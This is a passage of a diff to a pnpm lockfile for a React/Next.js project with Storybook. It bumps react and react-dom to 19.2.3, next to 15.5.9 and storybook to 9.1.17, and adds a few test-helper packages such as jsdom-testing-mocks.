+      '@storybook/react-dom-shim': 9.1.13(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(storybook@9.1.17(@testing-library/dom@10.4.1))
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
       ts-dedent: 2.2.0
     transitivePeerDependencies:
       - '@types/react'
 
-  '@storybook/addon-links@9.1.13(react@19.2.1)(storybook@9.1.13(@testing-library/dom@10.4.1))':
+  '@storybook/addon-links@9.1.13(react@19.2.3)(storybook@9.1.17(@testing-library/dom@10.4.1))':
     dependencies:
       '@storybook/global': 5.0.0
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
     optionalDependencies:
-      react: 19.2.1
+      react: 19.2.3
 
-  '@storybook/addon-onboarding@9.1.13(storybook@9.1.13(@testing-library/dom@10.4.1))':
+  '@storybook/addon-onboarding@9.1.13(storybook@9.1.17(@testing-library/dom@10.4.1))':
     dependencies:
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
 
-  '@storybook/addon-themes@9.1.13(storybook@9.1.13(@testing-library/dom@10.4.1))':
+  '@storybook/addon-themes@9.1.13(storybook@9.1.17(@testing-library/dom@10.4.1))':
     dependencies:
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
       ts-dedent: 2.2.0
 
-  '@storybook/builder-webpack5@9.1.13(esbuild@0.25.0)(storybook@9.1.13(@testing-library/dom@10.4.1))(typescript@5.9.3)(uglify-js@3.19.3)':
+  '@storybook/builder-webpack5@9.1.13(esbuild@0.25.0)(storybook@9.1.17(@testing-library/dom@10.4.1))(typescript@5.9.3)(uglify-js@3.19.3)':
     dependencies:
-      '@storybook/core-webpack': 9.1.13(storybook@9.1.13(@testing-library/dom@10.4.1))
+      '@storybook/core-webpack': 9.1.13(storybook@9.1.17(@testing-library/dom@10.4.1))
       case-sensitive-paths-webpack-plugin: 2.4.0
       cjs-module-lexer: 1.4.3
       css-loader: 6.11.0(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
@@ -11904,7 +11924,7 @@ snapshots:
       fork-ts-checker-webpack-plugin: 8.0.0(typescript@5.9.3)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       html-webpack-plugin: 5.6.5(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       magic-string: 0.30.21
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
       style-loader: 3.3.4(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       terser-webpack-plugin: 5.3.15(esbuild@0.25.0)(uglify-js@3.19.3)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       ts-dedent: 2.2.0
@@ -11921,24 +11941,24 @@ snapshots:
       - uglify-js
       - webpack-cli
 
-  '@storybook/core-webpack@9.1.13(storybook@9.1.13(@testing-library/dom@10.4.1))':
+  '@storybook/core-webpack@9.1.13(storybook@9.1.17(@testing-library/dom@10.4.1))':
     dependencies:
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
       ts-dedent: 2.2.0
 
-  '@storybook/csf-plugin@9.1.13(storybook@9.1.13(@testing-library/dom@10.4.1))':
+  '@storybook/csf-plugin@9.1.13(storybook@9.1.17(@testing-library/dom@10.4.1))':
     dependencies:
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
       unplugin: 1.16.1
 
   '@storybook/global@5.0.0': {}
 
-  '@storybook/icons@1.6.0(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@storybook/icons@1.6.0(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
-  '@storybook/nextjs@9.1.13(esbuild@0.25.0)(next@15.5.7(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0))(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0)(storybook@9.1.13(@testing-library/dom@10.4.1))(type-fest@4.2.0)(typescript@5.9.3)(uglify-js@3.19.3)(webpack-hot-middleware@2.26.1)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))':
+  '@storybook/nextjs@9.1.13(esbuild@0.25.0)(next@15.5.9(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0))(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0)(storybook@9.1.17(@testing-library/dom@10.4.1))(type-fest@4.2.0)(typescript@5.9.3)(uglify-js@3.19.3)(webpack-hot-middleware@2.26.1)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))':
     dependencies:
       '@babel/core': 7.28.5
       '@babel/plugin-syntax-bigint': 7.8.3(@babel/core@7.28.5)
@@ -11954,27 +11974,27 @@ snapshots:
       '@babel/preset-typescript': 7.28.5(@babel/core@7.28.5)
       '@babel/runtime': 7.28.4
       '@pmmmwh/react-refresh-webpack-plugin': 0.5.17(react-refresh@0.14.2)(type-fest@4.2.0)(webpack-hot-middleware@2.26.1)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
-      '@storybook/builder-webpack5': 9.1.13(esbuild@0.25.0)(storybook@9.1.13(@testing-library/dom@10.4.1))(typescript@5.9.3)(uglify-js@3.19.3)
-      '@storybook/preset-react-webpack': 9.1.13(esbuild@0.25.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(storybook@9.1.13(@testing-library/dom@10.4.1))(typescript@5.9.3)(uglify-js@3.19.3)
-      '@storybook/react': 9.1.13(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(storybook@9.1.13(@testing-library/dom@10.4.1))(typescript@5.9.3)
+      '@storybook/builder-webpack5': 9.1.13(esbuild@0.25.0)(storybook@9.1.17(@testing-library/dom@10.4.1))(typescript@5.9.3)(uglify-js@3.19.3)
+      '@storybook/preset-react-webpack': 9.1.13(esbuild@0.25.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(storybook@9.1.17(@testing-library/dom@10.4.1))(typescript@5.9.3)(uglify-js@3.19.3)
+      '@storybook/react': 9.1.13(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(storybook@9.1.17(@testing-library/dom@10.4.1))(typescript@5.9.3)
       '@types/semver': 7.7.1
       babel-loader: 9.2.1(@babel/core@7.28.5)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       css-loader: 6.11.0(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       image-size: 2.0.2
       loader-utils: 3.3.1
-      next: 15.5.7(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0)
+      next: 15.5.9(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0)
       node-polyfill-webpack-plugin: 2.0.1(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       postcss: 8.5.6
       postcss-loader: 8.2.0(postcss@8.5.6)(typescript@5.9.3)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
       react-refresh: 0.14.2
       resolve-url-loader: 5.0.0
       sass-loader: 16.0.6(sass@1.95.0)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       semver: 7.7.3
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
       style-loader: 3.3.4(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
-      styled-jsx: 5.1.7(@babel/core@7.28.5)(react@19.2.1)
+      styled-jsx: 5.1.7(@babel/core@7.28.5)(react@19.2.3)
       tsconfig-paths: 4.2.0
       tsconfig-paths-webpack-plugin: 4.2.0
     optionalDependencies:
@@ -11998,19 +12018,19 @@ snapshots:
       - webpack-hot-middleware
       - webpack-plugin-serve
 
-  '@storybook/preset-react-webpack@9.1.13(esbuild@0.25.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(storybook@9.1.13(@testing-library/dom@10.4.1))(typescript@5.9.3)(uglify-js@3.19.3)':
+  '@storybook/preset-react-webpack@9.1.13(esbuild@0.25.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(storybook@9.1.17(@testing-library/dom@10.4.1))(typescript@5.9.3)(uglify-js@3.19.3)':
     dependencies:
-      '@storybook/core-webpack': 9.1.13(storybook@9.1.13(@testing-library/dom@10.4.1))
+      '@storybook/core-webpack': 9.1.13(storybook@9.1.17(@testing-library/dom@10.4.1))
       '@storybook/react-docgen-typescript-plugin': 1.0.6--canary.9.0c3f3b7.0(typescript@5.9.3)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       '@types/semver': 7.7.1
       find-up: 7.0.0
       magic-string: 0.30.21
-      react: 19.2.1
+      react: 19.2.3
       react-docgen: 7.1.1
-      react-dom: 19.2.1(react@19.2.1)
+      react-dom: 19.2.3(react@19.2.3)
       resolve: 1.22.11
       semver: 7.7.3
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
       tsconfig-paths: 4.2.0
       webpack: 5.103.0(esbuild@0.25.0)(uglify-js@3.19.3)
     optionalDependencies:
@@ -12036,19 +12056,19 @@ snapshots:
     transitivePeerDependencies:
       - supports-color
 
-  '@storybook/react-dom-shim@9.1.13(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(storybook@9.1.13(@testing-library/dom@10.4.1))':
+  '@storybook/react-dom-shim@9.1.13(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(storybook@9.1.17(@testing-library/dom@10.4.1))':
     dependencies:
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
 
-  '@storybook/react@9.1.13(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(storybook@9.1.13(@testing-library/dom@10.4.1))(typescript@5.9.3)':
+  '@storybook/react@9.1.13(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(storybook@9.1.17(@testing-library/dom@10.4.1))(typescript@5.9.3)':
     dependencies:
       '@storybook/global': 5.0.0
-      '@storybook/react-dom-shim': 9.1.13(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(storybook@9.1.13(@testing-library/dom@10.4.1))
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      '@storybook/react-dom-shim': 9.1.13(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(storybook@9.1.17(@testing-library/dom@10.4.1))
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
     optionalDependencies:
       typescript: 5.9.3
 
@@ -12105,37 +12125,37 @@ snapshots:
 
   '@tanstack/query-devtools@5.91.1': {}
 
-  '@tanstack/react-form@1.27.1(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@tanstack/react-form@1.27.1(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
       '@tanstack/form-core': 1.27.1
-      '@tanstack/react-store': 0.8.0(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      react: 19.2.1
+      '@tanstack/react-store': 0.8.0(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      react: 19.2.3
     transitivePeerDependencies:
       - react-dom
 
-  '@tanstack/react-query-devtools@5.91.1(@tanstack/react-query@5.90.12(react@19.2.1))(react@19.2.1)':
+  '@tanstack/react-query-devtools@5.91.1(@tanstack/react-query@5.90.12(react@19.2.3))(react@19.2.3)':
     dependencies:
       '@tanstack/query-devtools': 5.91.1
-      '@tanstack/react-query': 5.90.12(react@19.2.1)
-      react: 19.2.1
+      '@tanstack/react-query': 5.90.12(react@19.2.3)
+      react: 19.2.3
 
-  '@tanstack/react-query@5.90.12(react@19.2.1)':
+  '@tanstack/react-query@5.90.12(react@19.2.3)':
     dependencies:
       '@tanstack/query-core': 5.90.12
-      react: 19.2.1
+      react: 19.2.3
 
-  '@tanstack/react-store@0.8.0(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@tanstack/react-store@0.8.0(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
       '@tanstack/store': 0.8.0
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      use-sync-external-store: 1.6.0(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      use-sync-external-store: 1.6.0(react@19.2.3)
 
-  '@tanstack/react-virtual@3.13.13(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@tanstack/react-virtual@3.13.13(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
       '@tanstack/virtual-core': 3.13.13
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
   '@tanstack/store@0.7.7': {}
 
@@ -12163,12 +12183,12 @@ snapshots:
       picocolors: 1.1.1
       redent: 3.0.0
 
-  '@testing-library/react@16.3.0(@testing-library/dom@10.4.1)(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@testing-library/react@16.3.0(@testing-library/dom@10.4.1)(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
       '@babel/runtime': 7.28.4
       '@testing-library/dom': 10.4.1
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
     optionalDependencies:
       '@types/react': 19.2.7
       '@types/react-dom': 19.2.3(@types/react@19.2.7)
@@ -12813,7 +12833,7 @@ snapshots:
       loader-utils: 2.0.4
       regex-parser: 2.3.1
 
-  ahooks@3.9.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1):
+  ahooks@3.9.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3):
     dependencies:
       '@babel/runtime': 7.28.4
       '@types/js-cookie': 3.0.6
@@ -12821,8 +12841,8 @@ snapshots:
       intersection-observer: 0.12.2
       js-cookie: 3.0.5
       lodash: 4.17.21
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
       react-fast-compare: 3.2.2
       resize-observer-polyfill: 1.5.1
       screenfull: 5.2.0
@@ -13063,6 +13083,8 @@ snapshots:
     dependencies:
       open: 8.4.2
 
+  bezier-easing@2.1.0: {}
+
   big.js@5.2.2: {}
 
   binary-extensions@2.3.0: {}
@@ -13071,10 +13093,10 @@ snapshots:
     dependencies:
       got: 11.8.6
 
-  bippy@0.3.34(@types/react@19.2.7)(react@19.2.1):
+  bippy@0.3.34(@types/react@19.2.7)(react@19.2.3):
     dependencies:
       '@types/react-reconciler': 0.28.9(@types/react@19.2.7)
-      react: 19.2.1
+      react: 19.2.3
     transitivePeerDependencies:
       - '@types/react'
 
@@ -13318,8 +13340,6 @@ snapshots:
 
   classnames@2.3.1: {}
 
-  classnames@2.5.1: {}
-
   clean-css@5.3.3:
     dependencies:
       source-map: 0.6.1
@@ -13358,14 +13378,14 @@ snapshots:
 
   clsx@2.1.1: {}
 
-  cmdk@1.1.1(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1):
+  cmdk@1.1.1(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3):
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.1)
-      '@radix-ui/react-dialog': 1.1.15(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@radix-ui/react-id': 1.1.1(@types/react@19.2.7)(react@19.2.1)
-      '@radix-ui/react-primitive': 2.1.4(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.7)(react@19.2.3)
+      '@radix-ui/react-dialog': 1.1.15(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@radix-ui/react-id': 1.1.1(@types/react@19.2.7)(react@19.2.3)
+      '@radix-ui/react-primitive': 2.1.4(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
     transitivePeerDependencies:
       - '@types/react'
       - '@types/react-dom'
@@ -13570,6 +13590,8 @@ snapshots:
     optionalDependencies:
       webpack: 5.103.0(esbuild@0.25.0)(uglify-js@3.19.3)
 
+  css-mediaquery@0.1.2: {}
+
   css-select@4.3.0:
     dependencies:
       boolbase: 1.0.0
@@ -13908,11 +13930,11 @@ snapshots:
 
   duplexer@0.1.2: {}
 
-  echarts-for-react@3.0.5(echarts@5.6.0)(react@19.2.1):
+  echarts-for-react@3.0.5(echarts@5.6.0)(react@19.2.3):
     dependencies:
       echarts: 5.6.0
       fast-deep-equal: 3.1.3
-      react: 19.2.1
+      react: 19.2.3
       size-sensor: 1.0.2
 
   echarts@5.6.0:
@@ -14353,11 +14375,11 @@ snapshots:
       semver: 7.7.2
       typescript: 5.9.3
 
-  eslint-plugin-storybook@9.1.16(eslint@9.39.1(jiti@1.21.7))(storybook@9.1.13(@testing-library/dom@10.4.1))(typescript@5.9.3):
+  eslint-plugin-storybook@9.1.16(eslint@9.39.1(jiti@1.21.7))(storybook@9.1.17(@testing-library/dom@10.4.1))(typescript@5.9.3):
     dependencies:
       '@typescript-eslint/utils': 8.49.0(eslint@9.39.1(jiti@1.21.7))(typescript@5.9.3)
       eslint: 9.39.1(jiti@1.21.7)
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
     transitivePeerDependencies:
       - supports-color
       - typescript
@@ -15675,6 +15697,11 @@ snapshots:
 
   jsdoc-type-pratt-parser@5.4.0: {}
 
+  jsdom-testing-mocks@1.16.0:
+    dependencies:
+      bezier-easing: 2.1.0
+      css-mediaquery: 0.1.2
+
   jsesc@3.0.2: {}
 
   jsesc@3.1.0: {}
@@ -15779,7 +15806,7 @@ snapshots:
 
   lexical@0.38.2: {}
 
-  lib0@0.2.114:
+  lib0@0.2.115:
     dependencies:
       isomorphic.js: 0.2.5
 
@@ -16527,12 +16554,12 @@ snapshots:
 
   neo-async@2.6.2: {}
 
-  next-pwa@5.6.0(@babel/core@7.28.5)(@types/babel__core@7.20.5)(esbuild@0.25.0)(next@15.5.7(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0))(uglify-js@3.19.3)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3)):
+  next-pwa@5.6.0(@babel/core@7.28.5)(@types/babel__core@7.20.5)(esbuild@0.25.0)(next@15.5.9(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0))(uglify-js@3.19.3)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3)):
     dependencies:
       babel-loader: 8.4.1(@babel/core@7.28.5)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       clean-webpack-plugin: 4.0.0(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       globby: 11.1.0
-      next: 15.5.7(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0)
+      next: 15.5.9(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0)
       terser-webpack-plugin: 5.3.15(esbuild@0.25.0)(uglify-js@3.19.3)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       workbox-webpack-plugin: 6.6.0(@types/babel__core@7.20.5)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       workbox-window: 6.6.0
@@ -16545,20 +16572,20 @@ snapshots:
       - uglify-js
       - webpack
 
-  next-themes@0.4.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1):
+  next-themes@0.4.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3):
     dependencies:
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
-  next@15.5.7(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0):
+  next@15.5.9(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0):
     dependencies:
-      '@next/env': 15.5.7
+      '@next/env': 15.5.9
       '@swc/helpers': 0.5.15
       caniuse-lite: 1.0.30001760
       postcss: 8.4.31
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      styled-jsx: 5.1.6(@babel/core@7.28.5)(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      styled-jsx: 5.1.6(@babel/core@7.28.5)(react@19.2.3)
     optionalDependencies:
       '@next/swc-darwin-arm64': 15.5.7
       '@next/swc-darwin-x64': 15.5.7
@@ -17108,9 +17135,9 @@ snapshots:
 
   pure-rand@6.1.0: {}
 
-  qrcode.react@4.2.0(react@19.2.1):
+  qrcode.react@4.2.0(react@19.2.3):
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
 
   qs@6.14.0:
     dependencies:
@@ -17143,15 +17170,15 @@ snapshots:
       strip-json-comments: 2.0.1
     optional: true
 
-  re-resizable@6.11.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1):
+  re-resizable@6.11.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3):
     dependencies:
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
-  react-18-input-autosize@3.0.0(react@19.2.1):
+  react-18-input-autosize@3.0.0(react@19.2.3):
     dependencies:
       prop-types: 15.8.1
-      react: 19.2.1
+      react: 19.2.3
 
   react-docgen-typescript@2.4.0(typescript@5.9.3):
     dependencies:
@@ -17172,49 +17199,49 @@ snapshots:
     transitivePeerDependencies:
       - supports-color
 
-  react-dom@19.2.1(react@19.2.1):
+  react-dom@19.2.3(react@19.2.3):
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
       scheduler: 0.27.0
 
-  react-draggable@4.4.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1):
+  react-draggable@4.4.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3):
     dependencies:
       clsx: 1.2.1
       prop-types: 15.8.1
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
-  react-easy-crop@5.5.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1):
+  react-easy-crop@5.5.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3):
     dependencies:
       normalize-wheel: 1.0.1
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
       tslib: 2.8.1
 
-  react-error-boundary@6.0.0(react@19.2.1):
+  react-error-boundary@6.0.0(react@19.2.3):
     dependencies:
       '@babel/runtime': 7.28.4
-      react: 19.2.1
+      react: 19.2.3
 
   react-fast-compare@3.2.2: {}
 
-  react-hook-form@7.68.0(react@19.2.1):
+  react-hook-form@7.68.0(react@19.2.3):
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
 
-  react-hotkeys-hook@4.6.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1):
+  react-hotkeys-hook@4.6.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3):
     dependencies:
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
-  react-i18next@15.7.4(i18next@23.16.8)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(typescript@5.9.3):
+  react-i18next@15.7.4(i18next@23.16.8)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(typescript@5.9.3):
     dependencies:
       '@babel/runtime': 7.28.4
       html-parse-stringify: 3.0.1
       i18next: 23.16.8
-      react: 19.2.1
+      react: 19.2.3
     optionalDependencies:
-      react-dom: 19.2.1(react@19.2.1)
+      react-dom: 19.2.3(react@19.2.3)
       typescript: 5.9.3
 
   react-is@16.13.1: {}
@@ -17223,7 +17250,7 @@ snapshots:
 
   react-is@18.3.1: {}
 
-  react-markdown@9.1.0(@types/react@19.2.7)(react@19.2.1):
+  react-markdown@9.1.0(@types/react@19.2.7)(react@19.2.3):
     dependencies:
       '@types/hast': 3.0.4
       '@types/mdast': 4.0.4
@@ -17232,7 +17259,7 @@ snapshots:
       hast-util-to-jsx-runtime: 2.3.6
       html-url-attributes: 3.0.1
       mdast-util-to-hast: 13.2.1
-      react: 19.2.1
+      react: 19.2.3
       remark-parse: 11.0.0
       remark-rehype: 11.1.2
       unified: 11.0.5
@@ -17241,142 +17268,142 @@ snapshots:
     transitivePeerDependencies:
       - supports-color
 
-  react-multi-email@1.0.25(react-dom@19.2.1(react@19.2.1))(react@19.2.1):
+  react-multi-email@1.0.25(react-dom@19.2.3(react@19.2.3))(react@19.2.3):
     dependencies:
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
   react-papaparse@4.4.0:
     dependencies:
       '@types/papaparse': 5.5.1
       papaparse: 5.5.3
 
-  react-pdf-highlighter@8.0.0-rc.0(react-dom@19.2.1(react@19.2.1))(react@19.2.1):
+  react-pdf-highlighter@8.0.0-rc.0(react-dom@19.2.3(react@19.2.3))(react@19.2.3):
     dependencies:
       pdfjs-dist: 4.4.168
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      react-rnd: 10.5.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      react-rnd: 10.5.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       ts-debounce: 4.0.0
 
   react-refresh@0.14.2: {}
 
-  react-remove-scroll-bar@2.3.8(@types/react@19.2.7)(react@19.2.1):
+  react-remove-scroll-bar@2.3.8(@types/react@19.2.7)(react@19.2.3):
     dependencies:
-      react: 19.2.1
-      react-style-singleton: 2.2.3(@types/react@19.2.7)(react@19.2.1)
+      react: 19.2.3
+      react-style-singleton: 2.2.3(@types/react@19.2.7)(react@19.2.3)
       tslib: 2.8.1
     optionalDependencies:
       '@types/react': 19.2.7
 
-  react-remove-scroll@2.7.2(@types/react@19.2.7)(react@19.2.1):
+  react-remove-scroll@2.7.2(@types/react@19.2.7)(react@19.2.3):
     dependencies:
-      react: 19.2.1
-      react-remove-scroll-bar: 2.3.8(@types/react@19.2.7)(react@19.2.1)
-      react-style-singleton: 2.2.3(@types/react@19.2.7)(react@19.2.1)
+      react: 19.2.3
+      react-remove-scroll-bar: 2.3.8(@types/react@19.2.7)(react@19.2.3)
+      react-style-singleton: 2.2.3(@types/react@19.2.7)(react@19.2.3)
       tslib: 2.8.1
-      use-callback-ref: 1.3.3(@types/react@19.2.7)(react@19.2.1)
-      use-sidecar: 1.1.3(@types/react@19.2.7)(react@19.2.1)
+      use-callback-ref: 1.3.3(@types/react@19.2.7)(react@19.2.3)
+      use-sidecar: 1.1.3(@types/react@19.2.7)(react@19.2.3)
     optionalDependencies:
       '@types/react': 19.2.7
 
-  react-rnd@10.5.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1):
+  react-rnd@10.5.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3):
     dependencies:
-      re-resizable: 6.11.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
-      react-draggable: 4.4.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+      re-resizable: 6.11.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
+      react-draggable: 4.4.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       tslib: 2.6.2
 
